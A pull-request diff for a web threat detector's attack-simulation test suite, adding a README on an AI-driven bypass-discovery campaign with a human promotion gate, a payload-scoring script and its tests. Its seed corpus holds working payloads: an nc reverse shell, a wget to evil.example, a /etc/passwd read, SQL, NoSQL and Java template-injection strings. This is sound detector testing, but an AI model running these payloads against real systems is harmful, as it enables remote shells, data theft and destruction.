Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
36 changes: 36 additions & 0 deletions tests/attack_simulation/README-campaign.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
# Attack-simulation campaign — human gate

The AI-coordinated campaign (`.claude/workflows/attack-campaign.workflow.js`, untracked)
is a discovery tool. It never edits the committed corpus. It writes proposals to
`tests/attack_simulation/out/` (git-ignored):

- `campaign-report.md` — human-readable confirmed bypasses, clustered by class+technique.
- `campaign-proposals.json` — machine-readable, each with a `disposition` (`seed` or `transform`).

The campaign's own verification is only as strong as the model it ran on. Treat every
proposal as a candidate, not a fact. Re-verify each against the real detector before
promoting it:

```python
import asyncio
from tests.attack_simulation.score_payloads import score_payloads
print(asyncio.run(score_payloads(["<candidate payload>"])))
```

A `detected: false` result confirms the detector genuinely misses it; then judge whether
it is a genuine attack worth keeping.

## Promoting a proposal (manual)

1. Read `out/campaign-report.md`. Decide which confirmed bypasses are worth keeping.
2. Re-verify each chosen payload with `score_payloads` (above) — keep only real misses.
3. For a `seed`: add the payload to `corpus/seeds/<attack_class>.txt` under a
`# source: campaign-derived, verified` header line.
4. For a `transform`: add the function to `mutations.py` and a unit test in
`test_mutations.py`, then register it in `TRANSFORMS`.
5. Regenerate the baseline:
`uv run python -c "import asyncio,json; from pathlib import Path; from tests.attack_simulation.harness import run_benchmark; b=Path('tests/attack_simulation'); r=asyncio.run(run_benchmark(b/'corpus')); (b/'baseline.json').write_text(json.dumps({'detection_rate':r['detection_rate'],'fp_rate':r['fp_rate']},indent=2,sort_keys=True)+chr(10))"`
6. Run `uv run pytest tests/attack_simulation/ --no-cov` and commit the corpus +
baseline changes. The ratchet now protects the new coverage.

Nothing from the campaign is committed except what a human promotes here.
2 changes: 1 addition & 1 deletion tests/attack_simulation/baseline.json
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
{
"detection_rate": 0.6578947368421053,
"detection_rate": 0.42105263157894735,
"fp_rate": 0.125
}
3 changes: 3 additions & 0 deletions tests/attack_simulation/corpus/seeds/cmd_injection.txt
Original file line number Diff line number Diff line change
Expand Up @@ -2,3 +2,6 @@
# license: guard-core (project)
; cat /etc/passwd
| wget http://evil.example/x
# source: campaign-derived, verified
|(nc -e /bin/sh 10.0.0.1 4444)
test;ls
3 changes: 3 additions & 0 deletions tests/attack_simulation/corpus/seeds/nosql.txt
Original file line number Diff line number Diff line change
Expand Up @@ -2,3 +2,6 @@
# license: guard-core (project)
{"$gt": ""}
{"$where": "this.password.length > 0"}
# source: campaign-derived, verified
{"$ne":null}
{"$type":"string"}
4 changes: 4 additions & 0 deletions tests/attack_simulation/corpus/seeds/sqli.txt
Original file line number Diff line number Diff line change
Expand Up @@ -2,3 +2,7 @@
# license: guard-core (project)
SELECT password FROM users WHERE id=1
1' OR '1'='1
# source: campaign-derived, verified
'; DROP TABLE users;--
1' ORDER BY 1--
1' /*!50000OR*/ '1'='1
3 changes: 3 additions & 0 deletions tests/attack_simulation/corpus/seeds/template.txt
Original file line number Diff line number Diff line change
Expand Up @@ -2,3 +2,6 @@
# license: guard-core (project)
{{7*7}}
${7*7}
# source: campaign-derived, verified
<%= 7*7 %>
${(#r=@java.lang.Runtime@getRuntime()).exec('id')}
39 changes: 39 additions & 0 deletions tests/attack_simulation/score_payloads.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
import asyncio
import json
import sys
from pathlib import Path
from typing import Any

from guard_core.models import SecurityConfig

from tests.attack_simulation.runner import SCAN_IP, detection_manager


async def score_payloads(
payloads: list[str], config: SecurityConfig | None = None
) -> list[dict[str, Any]]:
results: list[dict[str, Any]] = []
async with detection_manager(config) as manager:
for payload in payloads:
detection = await manager.detect(
payload, ip_address=SCAN_IP, context="unknown"
)
results.append(
{
"payload": payload,
"detected": bool(detection["is_threat"]),
"threat_score": float(detection["threat_score"]),
}
)
return results


def main(argv: list[str]) -> None:
in_path, out_path = Path(argv[0]), Path(argv[1])
payloads = json.loads(in_path.read_text(encoding="utf-8"))
results = asyncio.run(score_payloads(payloads))
out_path.write_text(json.dumps(results, indent=2), encoding="utf-8")


if __name__ == "__main__":
main(sys.argv[1:])
29 changes: 29 additions & 0 deletions tests/attack_simulation/test_score_payloads.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
import json

import pytest

from tests.attack_simulation.score_payloads import main, score_payloads


@pytest.mark.asyncio
async def test_score_payloads_flags_malicious_and_benign():
results = await score_payloads(
["<script>alert(1)</script>", "the quick brown fox jumps"]
)
assert [r["payload"] for r in results] == [
"<script>alert(1)</script>",
"the quick brown fox jumps",
]
assert results[0]["detected"] is True
assert results[1]["detected"] is False
assert all(isinstance(r["threat_score"], float) for r in results)


def test_cli_round_trips(tmp_path):
in_path = tmp_path / "in.json"
out_path = tmp_path / "out.json"
in_path.write_text(json.dumps(["<script>alert(1)</script>", "hello there"]))
main([str(in_path), str(out_path)])
results = json.loads(out_path.read_text())
assert results[0]["detected"] is True
assert results[1]["detected"] is False
Loading